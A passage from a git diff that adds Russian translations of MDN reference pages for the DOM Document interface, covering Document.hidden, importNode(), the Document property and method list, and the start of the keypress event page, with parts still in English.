+<h2 id="Примеры">Примеры</h2> + +<pre class="brush:js;">document.addEventListener("visibilitychange", function() { + console.log( document.hidden ); + // Modify behavior... +}); +</pre> + +<h2 id="Спецификации">Спецификации</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>Specification</th> + <th>Status</th> + <th>Comment</th> + </tr> + <tr> + <td>{{SpecName('Page Visibility API','#dom-document-hidden', 'Document.hidden')}}</td> + <td>{{Spec2('Page Visibility API')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> + + + +<p>{{Compat("api.Document.hidden")}}</p> diff --git a/files/ru/web/api/document/importnode/index.html b/files/ru/web/api/document/importnode/index.html new file mode 100644 index 0000000000..11cfa529ad --- /dev/null +++ b/files/ru/web/api/document/importnode/index.html @@ -0,0 +1,91 @@ +--- +title: Document.importNode() +slug: Web/API/Document/importNode +translation_of: Web/API/Document/importNode +--- +<div>{{APIRef("DOM")}}</div> + +<p><span class="seoSummary">Метод <code><strong>importNode()</strong></code>объекта {{domxref("Document")}} создает копию {{domxref("Node")}} или {{domxref("DocumentFragment")}} из другого документа, для последующей вставки в текущий документ.</span></p> + +<p>Импортированный узел пока еще не включен в дерево документов. Чтобы добавить его, вам необходимо вызвать один из методов вставки, например, {{domxref("Node.appendChild", "appendChild()")}} или {{domxref("Node.insertBefore", "insertBefore()")}} с узлом, который <em>находится</em> в дереве документов.</p> + +<p>В отличие от {{domxref("document.adoptNode()")}}, исходный узел не удаляется из исходного документа. Импортированный узел является клоном оригинала.</p> + +<h2 id="Синтаксис">Синтаксис</h2> + +<pre class="syntaxbox">var <var>node</var> = <var>document</var>.importNode(<var>externalNode</var>, <var>deep</var>); +</pre> + +<dl> + <dt><var>node</var></dt> + <dd>Копируемый узел из области видимости импортируемого документа . Свойство {{domxref("Node.parentNode")}} узла = <code>null</code>, до тех пор, пока он не будет вставлен в дерево документа.</dd> + <dt><var>externalNode</var></dt> + <dd>Внешний <code>Node</code> или <code>DocumentFragment</code>, который импортируется в настоящий документ.</dd> + <dt><var>deep</var></dt> + <dd>Булеан, контролирующий, необходимо ли импортировать всё DOM поддерево узла <var>externalNode</var>. + <ul> + <li>Если <em>deep </em>установлен в <code>true</code>, <var>узел externalNode</var> и все его потомки будут скопированы.</li> + <li>Если <em>deep </em>установлен в <code>false</code>, ипморируется только <var>externalNode</var> — новый узел не будет содержать потомков.</li> + </ul> + </dd> +</dl> + +<div class="note"> +<p><strong>Note:</strong> In the DOM4 specification, <var>deep</var> was an optional argument with a default value of <code>true</code>.</p> + +<p>This default has changed in the latest spec — the new default value is <strong><code>false</code></strong>. Though it's still an optional argument, you should always provide the <code>deep</code> argument for backward <em>and</em> forward compatibility. With Gecko 28.0 {{geckoRelease(28)}}, the console warns developers not to omit the argument. Starting with Gecko 29.0 {{geckoRelease(29)}}), a shallow clone is defaulted instead of a deep clone.</p> +</div> + +<h2 id="Example">Example</h2> + +<pre class="brush: js">var iframe = document.querySelector("iframe"); +var oldNode = iframe.contentWindow.document.getElementById("myNode"); +var newNode = document.importNode(oldNode, true); +document.getElementById("container").appendChild(newNode); +</pre> + +<h2 id="Notes">Notes</h2> + + + +<p>Nodes from external documents should be cloned using <a href="/en-US/docs/Web/API/Document/importNode" title="The Document object's importNode() method creates a copy of a Node or DocumentFragment from another document, to be inserted into the current document later."><code>document.importNode()</code></a> (or adopted using <a href="/en-US/docs/Web/API/Document/adoptNode" title="Document.adoptNode() transfers a node from another document into the method's document. The adopted node and its subtree is removed from its original document (if any), and its ownerDocument is changed to the current document. The node can then be inserted into the current document."><code>document.adoptNode()</code></a>) before they can be inserted into the current document. For more on the <a href="/en-US/docs/Web/API/Node/ownerDocument" title="The Node.ownerDocument read-only property returns the top-level document object for this node."><code>Node.ownerDocument</code></a> issues, see the <a class="external" href="http://www.w3.org/DOM/faq.html#ownerdoc" rel="noopener">W3C DOM FAQ</a>.</p> + +<p>Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for improved future compatibility.</p> + + + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("DOM WHATWG", "#dom-document-importnode", "document.importNode()")}}</td> + <td>{{Spec2("DOM WHATWG")}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName("DOM2 Core", "core.html#Core-Document-importNode", "document.importNode()")}}</td> + <td>{{Spec2("DOM2 Core")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.Document.importNode")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("document.adoptNode()")}}</li> + <li>{{domxref("Node.appendChild()")}}</li> + <li>{{domxref("Node.insertBefore()")}}</li> +</ul> diff --git a/files/ru/web/api/document/index.html b/files/ru/web/api/document/index.html new file mode 100644 index 0000000000..a219bd597c --- /dev/null +++ b/files/ru/web/api/document/index.html @@ -0,0 +1,405 @@ +--- +title: Document +slug: Web/API/Document +tags: + - DOM +translation_of: Web/API/Document +--- +<div>{{ ApiRef("DOM") }}</div> + +<div></div> + +<p>Каждая веб-страница, которая загружается в браузер, имеет свой собственный объект <strong>document</strong>. Интерфейс документа служит точкой входа для получения содержимого веб-страницы (всего <a href="/en-US/docs/Using_the_W3C_DOM_Level_1_Core" title="Using_the_W3C_DOM_Level_1_Core">DOM</a> - дерева, включая такие элементы как {{HTMLElement("body")}} и {{HTMLElement("table")}}), <span id="result_box" lang="ru"><span>а также обеспечивает функциональность</span><span>, которая является</span> <span>глобальной для</span> <span>документа</span>, <span>например, для получения</span> <span>URL-адреса </span><span>страницы</span> <span>и</span>ли <span>создания новых элементов</span> <span>в документе</span></span>).</p> + +<p>Объект <strong>document</strong> может быть получен из разных API:</p> + +<ul> + <li>Чаще всего используется прямой доступ к объекту <strong>document</strong> из сценариев <a href="/en-US/docs/HTML/Element/Script" title="HTML/Element/Script">scripts</a> которые подгружаются документом. (Этот же объект доступен как {{domxref("window.document")}}.)</li> + <li>Через свойство <code><a href="/en-US/docs/Web/API/HTMLIFrameElement#Properties" title="DOM/HTMLIFrameElement#Properties">contentDocument</a></code> объекта iframe.</li> + <li>Как ответ <a href="/en-US/docs/Web/API/XMLHttpRequest#responseXML" title="XMLHttpRequest#responseXML"><code>responseXML</code></a> объекта <a href="/en-US/docs/Web/API/XMLHttpRequest" title="XMLHttpRequest"><code>XMLHttpRequest.</code></a></li> + <li>Доступ к документу может быть получен из элемента или узла через свойство {{domxref("Node.ownerDocument","ownerDocument")}}.</li> +</ul> + +<p>В зависимости от вида документа (т.е. <a href="/en-US/docs/HTML" title="HTML">HTML</a> или <a href="/en-US/docs/XML" title="XML">XML</a>) у объекта <strong>document</strong> могут быть доступны разные API.</p> + +<ul> + <li>Все объекты документов реализуют интерфейс <a href="http://dom.spec.whatwg.org/#interface-document"><code>Document</code></a> (и следовательно {{domxref("Node")}} и {{domxref("EventTarget")}} интерфейсы). Таким образом основные свойства и методы, описанные на этой странице, доступны для всех видов документов.</li> + <li>В современных браузерах некоторые документы (т.е. те, которые содержат контент <code>text/html</code>) также реалируют {{domxref("HTMLDocument")}} интерфейс.</li> + <li>В современных браузерах SVG документы реализуют {{domxref("SVGDocument")}} интерфейс.</li> +</ul> + +<p>В будущем все эти интерфейсы будут сведены в один интерфейс - <code>Document</code>.</p> + +<h2 id="Properties" name="Properties">Свойства</h2> + +<div class="note"> +<p><strong>Примечание:</strong> Интерфейс <code>Document</code> наследует также интерфейсы {{domxref("Node")}} и {{domxref("EventTarget")}}.</p> +</div> + +<dl> + <dt>{{domxref("Document.all")}} {{Deprecated_inline}} {{non-standard_inline}}</dt> + <dd>Обеспечивает доступ ко всем элементам с идентификаторами (id). Это нестандартный интерфейс, вместо него рекомендуется использовать метод {{domxref("Document.getElementById()")}}.</dd> + <dt>{{domxref("Document.async")}} {{Deprecated_inline}}</dt> + <dd>Используется с {{domxref("document.load")}} чтобы обозначить асинхронный запрос.</dd> + <dt>{{domxref("Document.characterSet")}} {{experimental_inline}}</dt> + <dd>Возвращает кодировку документа.</dd> + <dt>{{domxref("Document.compatMode")}} {{experimental_inline}}</dt> + <dd>Указывает в каком режиме (Quirks или Strict) рендерился документ.</dd> + <dt>{{domxref("Document.contentType")}} {{experimental_inline}}</dt> + <dd>Возвращает Content-Type из MIME заголовка текущего документа.</dd> + <dt>{{domxref("Document.doctype")}}</dt> + <dd>Возвращает Document Type Definition (DTD) текущего документа .</dd> + <dt>{{domxref("Document.documentElement")}}</dt> + <dd>Возвращает Element, который является первым дочерним элементом документа. Для HTML документов это HTML элемент.</dd> + <dt>{{domxref("Document.documentURI")}}</dt> + <dd>Возвращает URL документа.</dd> + <dt>{{domxref("Document.domConfig")}} {{Deprecated_inline}}</dt> + <dd>Должен вернуть {{domxref("DOMConfiguration")}} объект.</dd> + <dt>{{domxref("Document.implementation")}}</dt> + <dd>Возвращает DOM implementation связанную с текущим документом.</dd> + <dt>{{domxref("Document.inputEncoding")}} {{Deprecated_inline}}</dt> + <dd>Возвращает кодировку, которая использовалась во время парсинга документа.</dd> + <dt>{{domxref("Document.lastStyleSheetSet")}}</dt> + <dd>Возвращает имя последнего включенного набора таблиц стилей. Имеет значение <code>null</code> , пока таблица стилей не будет изменена путем установки значения {{domxref("Document.selectedStyleSheetSet","selectedStyleSheetSet")}}.</dd> + <dt>{{domxref("Document.mozSyntheticDocument")}} {{non-standard_inline}} {{gecko_minversion_inline("8.0")}}</dt> + <dd><code>true</code> если этот документ является синтетическим, например, отдельные изображения, видео, аудио файлы, или тому подобные.</dd> + <dt>{{domxref("Document.mozFullScreen")}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt> + <dd><code>true</code> когда документ находится в {{domxref("Using_full-screen_mode","full-screen mode")}}.</dd> + <dt>{{domxref("Document.mozFullScreenElement")}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt> + <dd>Элемент, который в данный момент находится в полноэкранном режиме для этого документа.</dd> + <dt>{{domxref("Document.mozFullScreenEnabled")}} {{non-standard_inline}} {{gecko_minversion_inline("9.0")}}</dt> + <dd><code>true</code> if calling {{domxref("element.mozRequestFullscreen()")}} would succeed in the curent document.</dd> + <dt>{{domxref("Document.pointerLockElement")}} {{experimental_inline}}</dt> + <dd>Returns the element set as the target for mouse events while the pointer is locked. <code>null</code> if lock is pending, pointer is unlocked, or if the target is in another document.</dd> + <dt>{{domxref("Document.preferredStyleSheetSet")}}</dt> + <dd>Returns the preferred style sheet set as specified by the page author.</dd> + <dt>{{domxref("Document.selectedStyleSheetSet")}}</dt> + <dd>Returns which style sheet set is currently in use.</dd> + <dt>{{domxref("Document.styleSheets")}}</dt> + <dd>Returns a list of the style sheet objects on the current document.</dd> + <dt>{{domxref("Document.styleSheetSets")}}</dt> + <dd>Returns a list of the style sheet sets available on the document.</dd> + <dt>{{domxref("Document.xmlEncoding")}} {{Deprecated_inline}}</dt> + <dd>Returns the encoding as determined by the XML declaration.</dd> + <dt>{{domxref("Document.xmlStandalone")}} {{obsolete_inline("10.0")}}</dt> + <dd>Returns <code>true</code> if the XML declaration specifies the document to be standalone (<em>e.g.,</em> An external part of the DTD affects the document's content), else <code>false</code>.</dd> + <dt>{{domxref("Document.xmlVersion")}} {{obsolete_inline("10.0")}}</dt> + <dd>Returns the version number as specified in the XML declaration or <code>"1.0"</code> if the declaration is absent.</dd> +</dl> + +<p>The <code>Document</code> interface is extended with the {{domxref("ParentNode")}} interface:</p> + +<p>{{page("/en-US/docs/Web/API/ParentNode","Properties")}}</p> + +<h3 id="Extension_for_HTML_documents">Extension for HTML documents</h3> + +<p>The <code>Document</code> interface for HTML documents inherit from the {{domxref("HTMLDocument")}} interface or, since HTML5, is extended for such documents:</p> + +<dl> + <dt>{{domxref("Document.activeElement")}}</dt> + <dd>Returns the currently focused element.</dd> + <dt>{{domxref("Document.alinkColor")}} {{Deprecated_inline}}</dt> + <dd>Returns or sets the color of active links in the document body.</dd> + <dt>{{domxref("Document.anchors")}}</dt> + <dd>Returns a list of all of the anchors in the document.</dd> + <dt>{{domxref("Document.applets")}} {{Deprecated_inline}}</dt> + <dd>Returns an ordered list of the applets within a document.</dd> + <dt>{{domxref("Document.bgColor")}} {{Deprecated_inline}}</dt> + <dd>Gets/sets the background color of the current document.</dd> + <dt>{{domxref("Document.body")}}</dt> + <dd>Returns the {{HTMLElement("body")}} element of the current document.</dd> + <dt>{{domxref("Document.cookie")}}</dt> + <dd>Returns a semicolon-separated list of the cookies for that document or sets a single cookie.</dd> + <dt>{{domxref("Document.defaultView")}}</dt> + <dd>Returns a reference to the window object.</dd> + <dt>{{domxref("Document.designMode")}}</dt> + <dd>Gets/sets the ability to edit the whole document.</dd> + <dt>{{domxref("Document.dir")}}</dt> + <dd>Gets/sets directionality (rtl/ltr) of the document.</dd> + <dt>{{domxref("Document.domain")}}</dt> + <dd>Returns the domain of the current document.</dd> + <dt>{{domxref("Document.embeds")}}</dt> + <dd>Returns a list of the embedded {{HTMLElement('embed')}} elements within the current document.</dd> + <dt>{{domxref("Document.fgColor")}} {{Deprecated_inline}}</dt> + <dd>Gets/sets the foreground color, or text color, of the current document.</dd> + <dt>{{domxref("Document.forms")}}</dt> + <dd>Returns a list of the {{HTMLElement("form")}} elements within the current document.</dd> + <dt>{{domxref("Document.head")}}</dt> + <dd>Returns the {{HTMLElement("head")}} element of the current document.</dd> + <dt>{{domxref("Document.height")}} {{non-standard_inline}} {{obsolete_inline}}</dt> + <dd>Gets/sets the height of the current document.</dd> + <dt>{{domxref("Document.images")}}</dt> + <dd>Returns a list of the images in the current document.</dd> + <dt>{{domxref("Document.lastModified")}}</dt> + <dd>Returns the date on which the document was last modified.</dd> + <dt>{{domxref("Document.linkColor")}} {{Deprecated_inline}}</dt> + <dd>Gets/sets the color of hyperlinks in the document.</dd> + <dt>{{domxref("Document.links")}}</dt> + <dd>Returns a list of all the hyperlinks in the document.</dd> + <dt>{{domxref("Document.location")}}</dt> + <dd>Returns the URI of the current document.</dd> + <dt>{{domxref("Document.plugins")}}</dt> + <dd>Returns a list of the available plugins.</dd> + <dt>{{domxref("Document.readyState")}} {{gecko_minversion_inline("1.9.2")}}</dt> + <dd>Returns loading status of the document.</dd> + <dt>{{domxref("Document.referrer")}}</dt> + <dd>Returns the URI of the page that linked to this page.</dd> + <dt>{{domxref("Document.scripts")}}</dt> + <dd>Returns all the {{HTMLElement("script")}} elements on the document.</dd> + <dt>{{domxref("Document.title")}}</dt> + <dd>Returns the title of the current document.</dd> + <dt>{{domxref("Document.URL")}}</dt> + <dd>Returns a string containing the URL of the current document.</dd> + <dt>{{domxref("Document.vlinkColor")}} {{Deprecated_inline}}</dt> + <dd>Gets/sets the color of visited hyperlinks.</dd> + <dt>{{domxref("Document.width")}} {{non-standard_inline}} {{obsolete_inline}}</dt> + <dd>Returns the width of the current document.</dd> +</dl> + +<h3 id="Event_handlers" name="Event_handlers">Event handlers</h3> + +<dl> + <dt>{{domxref("Document.onpointerlockchange")}} {{experimental_inline}}</dt> + <dd>Returns the event handling code for the {{event("pointerlockchange")}} event.</dd> + <dt>{{domxref("Document.onpointerlockerror")}} {{experimental_inline}}</dt> + <dd>Returns the event handling code for the {{event("pointerlockerror")}} event.</dd> + <dt>{{domxref("Document.onreadystatechange")}} {{gecko_minversion_inline("1.9.2")}}</dt> + <dd>Returns the event handling code for the <code>readystatechange</code> event.</dd> +</dl> + +<h2 id="Methods" name="Methods">Methods</h2> + +<div class="note"> +<p><strong>Note:</strong> The <code>Document</code> interface also inherits from the {{domxref("Node")}} and {{domxref("EventTarget")}} interfaces.</p> +</div> + +<dl> + <dt>{{domxref("Document.adoptNode","Document.adoptNode(Node node)")}}</dt> + <dd>Adopt node from an external document.</dd> + <dt>{{domxref("Document.captureEvents","Document.captureEvents(String eventName)")}} {{Deprecated_inline}}</dt> + <dd>See {{domxref("window.captureEvents")}}.</dd> + <dt>{{domxref("Document.caretPositionFromPoint","Document.caretPositionFromPoint(Number x, Number y)")}}</dt> + <dd>Gets a {{domxref("CaretPosition")}} based on two coordinates.</dd> + <dt>{{domxref("Document.createAttribute","Document.createAttribute(String name)")}}</dt> + <dd>Creates a new {{domxref("Attr")}} object and returns it.</dd> + <dt>{{domxref("Document.createAttributeNS","Document.createAttributeNS(String namespace, String name)")}}</dt> + <dd>Creates a new attribute node in a given namespace and returns it.</dd> + <dt>{{domxref("Document.createCDATASection","Document.createCDATASection(String data)")}}</dt> + <dd>Creates a new CDATA node and returns it.</dd> + <dt>{{domxref("Document.createComment","Document.createComment(String comment)")}}</dt> + <dd>Creates a new comment node and returns it.</dd> + <dt>{{domxref("Document.createDocumentFragment()")}}</dt> + <dd>Creates a new document fragment.</dd> + <dt>{{domxref("Document.createElement","Document.createElement(String name)")}}</dt> + <dd>Creates a new element with the given tag name.</dd> + <dt>{{domxref("Document.createElementNS","Document.createElementNS(String namespace, String name)")}}</dt> + <dd>Creates a new element with the given tag name and namespace URI.</dd> + <dt>{{domxref("Document.createEntityReference","Document.createEntityReference(String name)")}} {{obsolete_inline}}</dt> + <dd>Creates a new entity reference object and returns it.</dd> + <dt>{{domxref("Document.createEvent","Document.createEvent(String interface)")}}</dt> + <dd>Creates an event object.</dd> + <dt>{{domxref("Document.createNodeIterator","Document.createNodeIterator(Node root[, Number whatToShow[, NodeFilter filter]])")}}</dt> + <dd>Creates a {{domxref("NodeIterator")}} object.</dd> + <dt>{{domxref("Document.createProcessingInstruction","Document.createProcessingInstruction(String target, String data)")}}</dt> + <dd>Creates a new {{domxref("ProcessingInstruction")}} object.</dd> + <dt>{{domxref("Document.createRange()")}}</dt> + <dd>Creates a {{domxref("Range")}} object.</dd> + <dt>{{domxref("Document.createTextNode","Document.createTextNode(String text)")}}</dt> + <dd>Creates a text node.</dd> + <dt>{{domxref("Document.createTreeWalker","Document.createTreeWalker(Node root[, Number whatToShow[, NodeFilter filter]])")}}</dt> + <dd>Creates a {{domxref("TreeWalker")}} object.</dd> + <dt>{{domxref("Document.elementFromPoint","Document.elementFromPoint(Number x, Number y)")}}</dt> + <dd>Returns the element visible at the specified coordinates.</dd> + <dt>{{domxref("Document.enableStyleSheetsForSet","Document.enableStyleSheetsForSet(String name)")}}</dt> + <dd>Enables the style sheets for the specified style sheet set.</dd> + <dt>{{domxref("Document.exitPointerLock()")}} {{experimental_inline}}</dt> + <dd>Release the pointer lock.</dd> + <dt>{{domxref("Document.getElementsByClassName","Document.getElementsByClassName(String className)")}}</dt> + <dd>Returns a list of elements with the given class name.</dd> + <dt>{{domxref("Document.getElementsByTagName","Document.getElementsByTagName(String tagName)")}}</dt> + <dd>Returns a list of elements with the given tag name.</dd> + <dt>{{domxref("Document.getElementsByTagNameNS","Document.getElementsByTagNameNS(String namespace, String tagName)")}}</dt> + <dd>Returns a list of elements with the given tag name and namespace.</dd> + <dt>{{domxref("Document.importNode","Document.importNode(Node node, Boolean deep)")}}</dt> + <dd>Returns a clone of a node from an external document.</dd> + <dt>{{domxref("document.mozSetImageElement")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}</dt> + <dd>Allows you to change the element being used as the background image for a specified element ID.</dd> + <dt>{{domxref("Document.normalizeDocument()")}} {{obsolete_inline}}</dt> + <dd>Replaces entities, normalizes text nodes, etc.</dd> + <dt>{{domxref("Document.releaseCapture()")}} {{non-standard_inline}} {{gecko_minversion_inline("2.0")}}</dt> + <dd>Releases the current mouse capture if it's on an element in this document.</dd> + <dt>{{domxref("Document.releaseEvents")}} {{non-standard_inline}} {{Deprecated_inline}}</dt> + <dd>See {{domxref("window.releaseEvents")}}.</dd> + <dt>{{domxref("document.routeEvent")}} {{non-standard_inline}} {{obsolete_inline(24)}}</dt> + <dd>See {{domxref("window.routeEvent")}}.</dd> +</dl> + +<p>The <code>Document</code> interface is extended with the {{domxref("ParentNode")}} interface:</p> + +<dl> + <dt>{{domxref("Document.getElementById","Document.getElementById(String id)")}}</dt> + <dd>Returns an object reference to the identified element.</dd> + <dt>{{domxref("Document.querySelector","Document.querySelector(String selector)")}} {{gecko_minversion_inline("1.9.1")}}</dt> + <dd>Returns the first Element node within the document, in document order, that matches the specified selectors.</dd> + <dt>{{domxref("Document.querySelectorAll","Document.querySelectorAll(String selector)")}} {{gecko_minversion_inline("1.9.1")}}</dt> + <dd>Returns a list of all the Element nodes within the document that match the specified selectors.</dd> +</dl> + +<p>The <code>Document</code> interface is extended with the {{domxref("XPathEvaluator")}} interface:</p> + +<dl> + <dt>{{domxref("Document.createExpression","Document.createExpression(String expression, XPathNSResolver resolver)")}}</dt> + <dd>Compiles an <code><a href="/en-US/docs/XPathExpression" title="XPathExpression">XPathExpression</a></code> which can then be used for (repeated) evaluations.</dd> + <dt>{{domxref("Document.createNSResolver","Document.createNSResolver(Node resolver)")}}</dt> + <dd>Creates an {{domxref("XPathNSResolver")}} object.</dd> + <dt>{{domxref("Document.evaluate","Document.evaluate(String expression, Node contextNode, XPathNSResolver resolver, Number type, Object result)")}}</dt> + <dd>Evaluates an XPath expression.</dd> +</dl> + +<h3 id="Extension_for_HTML_documents_2">Extension for HTML documents</h3> + +<p>The <code>Document</code> interface for HTML documents inherit from the {{domxref("HTMLDocument")}} interface or, since HTML5, is extended for such documents:</p> + +<dl> + <dt>{{domxref("Document.clear()")}} {{non-standard_inline}} {{Deprecated_inline}}</dt> + <dd>In majority of modern browsers, including recent versions of Firefox and Internet Explorer, this method does nothing.</dd> + <dt>{{domxref("Document.close()")}}</dt> + <dd>Closes a document stream for writing.</dd> + <dt>{{domxref("Document.execCommand","Document.execCommand(String command[, Boolean showUI[, String value]])")}}</dt> + <dd>On an editable document, executes a formating command.</dd> + <dt>{{domxref("Document.getElementsByName","Document.getElementsByName(String name)")}}</dt> + <dd>Returns a list of elements with the given name.</dd> + <dt>{{domxref("Document.getSelection()")}}</dt> + <dd>Returns a {{domxref("Selection")}} object related to text selected in the document.</dd> + <dt>{{domxref("Document.hasFocus()")}}</dt> + <dd>Returns <code>true</code> if the focus is currently located anywhere inside the specified document.</dd> + <dt>{{domxref("Document.open()")}}</dt> + <dd>Opens a document stream for writing.</dd> + <dt>{{domxref("Document.queryCommandEnabled","Document.queryCommandEnabled(String command)")}}</dt> + <dd>Returns true if the formating command can be executed on the current range.</dd> + <dt>{{domxref("Document.queryCommandIndeterm","Document.queryCommandIndeterm(String command)")}}</dt> + <dd>Returns true if the formating command is in an indeterminate state on the current range.</dd> + <dt>{{domxref("Document.queryCommandState","Document.queryCommandState(String command)")}}</dt> + <dd>Returns true if the formating command has been executed on the current range.</dd> + <dt>{{domxref("Document.queryCommandSupported","Document.queryCommandSupported(String command)")}}</dt> + <dd>Returns true if the formating command is supported on the current range.</dd> + <dt>{{domxref("Document.queryCommandValue","Document.queryCommandValue(String command)")}}</dt> + <dd>Returns the current value of the current range for a formatting command.</dd> + <dt>{{domxref("Document.registerElement","Document.registerElement(String tagname[, Object options])")}}</dt> + <dd>Registers a new custom element in the browser and returns a constructor for the new element.</dd> + <dt>{{domxref("Document.write","Document.write(String text)")}}</dt> + <dd>Writes text in a document.</dd> + <dt>{{domxref("Document.writeln","Document.writeln(String text)")}}</dt> + <dd>Writes a line of text in a document.</dd> +</dl> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM1','#i-Document','Document')}}</td> + <td>{{Spec2('DOM1')}}</td> + <td>Initial definition for the interface</td> + </tr> + <tr> + <td>{{SpecName('DOM2 Core','#i-Document','Document')}}</td> + <td>{{Spec2('DOM2 Core')}}</td> + <td>Supersede DOM 1</td> + </tr> + <tr> + <td>{{SpecName('DOM3 Core','#i-Document','Document')}}</td> + <td>{{Spec2('DOM3 Core')}}</td> + <td>Supersede DOM 2</td> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG','#interface-document','Document')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Intend to supersede DOM 3</td> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG','dom.html#the-document-object','Document')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Turn the {{domxref("HTMLDocument")}} interface into a <code>Document</code> extension.</td> + </tr> + <tr> + <td>{{SpecName('DOM3 XPath','xpath.html#XPathEvaluator','XPathEvaluator')}}</td> + <td>{{Spec2('DOM3 XPath')}}</td> + <td>Define the {{domxref("XPathEvaluator")}} interface which extend <code>Document</code>.</td> + </tr> + <tr> + <td>{{SpecName('HTML Editing','#dom-document-getselection','Document')}}</td> + <td>{{Spec2('HTML Editing')}}</td> + <td>Extend the <code>Document</code> interface</td> + </tr> + <tr> + <td>{{SpecName('CSSOM View','#extensions-to-the-document-interface','Document')}}</td> + <td>{{Spec2('CSSOM View')}}</td> + <td>Extend the <code>Document</code> interface</td> + </tr> + <tr> + <td>{{SpecName('CSSOM','#extensions-to-the-document-interface','Document')}}</td> + <td>{{Spec2('CSSOM')}}</td> + <td>Extend the <code>Document</code> interface</td> + </tr> + <tr> + <td>{{SpecName('Pointer Lock','#extensions-to-the-document-interface','Document')}}</td> + <td>{{Spec2('Pointer Lock')}}</td> + <td>Extend the <code>Document</code> interface</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<h3 id="Firefox_notes">Firefox notes</h3> + +<p>Mozilla defines a set of non-standard properties made only for XUL content:</p> + +<dl> + <dt>{{domxref("document.currentScript")}} {{gecko_minversion_inline("2.0")}}</dt> + <dd>Returns the {{HTMLElement("script")}} element that is currently executing.</dd> + <dt>{{domxref("document.documentURIObject")}} {{gecko_minversion_inline("1.9")}}</dt> + <dd>(<strong>Mozilla add-ons only!</strong>) Returns the {{Interface("nsIURI")}} object representing the URI of the document. This property only has special meaning in privileged JavaScript code (with UniversalXPConnect privileges).</dd> + <dt>{{domxref("document.popupNode")}}</dt> + <dd>Returns the node upon which a popup was invoked.</dd> + <dt>{{domxref("document.tooltipNode")}}</dt> + <dd>Returns the node which is the target of the current tooltip.</dd> +</dl> + +<p>Mozilla also define some non-standard methods:</p> + +<dl> + <dt>{{domxref("Document.execCommandShowHelp")}} {{obsolete_inline("14.0")}}</dt> + <dd>This method never did anything and always threw an exception, so it was removed in Gecko 14.0 {{geckoRelease("14.0")}}.</dd> + <dt>{{domxref("Document.getBoxObjectFor")}} {{obsolete_inline}}</dt> + <dd>Use the {{domxref("Element.getBoundingClientRect()")}} method instead.</dd> + <dt>{{domxref("Document.loadOverlay")}} {{Fx_minversion_inline("1.5")}}</dt> + <dd>Loads a <a href="/en-US/docs/XUL_Overlays" title="XUL_Overlays">XUL overlay</a> dynamically. This only works in XUL documents.</dd> + <dt>{{domxref("document.queryCommandText")}} {{obsolete_inline("14.0")}}</dt> + <dd>This method never did anything but throw an exception, and was removed in Gecko 14.0 {{geckoRelease("14.0")}}.</dd> +</dl> + +<h3 id="Internet_Explorer_notes">Internet Explorer notes</h3> + +<p>Microsoft defines some non-standard properties:</p> + +<dl> + <dt>{{domxref("document.fileSize")}}* {{non-standard_inline}} {{obsolete_inline}}</dt> + <dd>Returns size in bytes of the document. Starting with Internet Explorer 11, that property is no longer supported. See <a href="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx">MSDN</a>.</dd> + <dt><span style="font-weight: normal; line-height: 1.5;">Internet Explorer does not support all methods from the <code>Node</code> interface in the <code>Document</code> interface:</span></dt> +</dl> + +<dl> + <dt>{{domxref("document.contains")}}</dt> + <dd>As a work-around, <code>document.body.contains()</code> can be used.</dd> +</dl> + +<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> + +<p>{{Compat("api.Document")}}</p> diff --git a/files/ru/web/api/document/keypress_event/index.html b/files/ru/web/api/document/keypress_event/index.html new file mode 100644 index 0000000000..cf6158c111 --- /dev/null +++ b/files/ru/web/api/document/keypress_event/index.html @@ -0,0 +1,183 @@ +--- +title: keypress +slug: Web/API/Document/keypress_event +translation_of: Web/API/Document/keypress_event +--- +<p><span class="seoSummary">Событие <code>keypress</code> происходит когда нажимается символьная клавиша, то есть клавиша которая создает символ. Пример таких клавиш это буквы, цифры, знаки пунктуации и т.д. Примеры клавиш которые не создают символы, это клавиши модификаторы, такие как: </span><kbd>Alt</kbd>, <kbd>Shift</kbd>, <kbd>Ctrl</kbd>, or <kbd>Meta</kbd><span class="seoSummary">.</span></p> + +<h2 id="Общая_информация">Общая информация</h2> + +<dl> + <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt> + <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keypress">DOM L3</a> {{deprecated_inline()}}</dd> + <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt> + <dd style="margin: 0 0 0 120px;"><a href="/en-US/docs/DOM/KeyboardEvent" title="http://en-US/docs/DOM/KeyboardEvent">KeyboardEvent</a></dd> + <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt> + <dd style="margin: 0 0 0 120px;">Yes</dd> + <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt> + <dd style="margin: 0 0 0 120px;">Yes</dd> + <dt style="float: left; text-align: right; width: 120px;">Цель</dt> + <dd style="margin: 0 0 0 120px;">Document, Element</dd> + <dt style="float: left; text-align: right; width: 120px;">Действие по 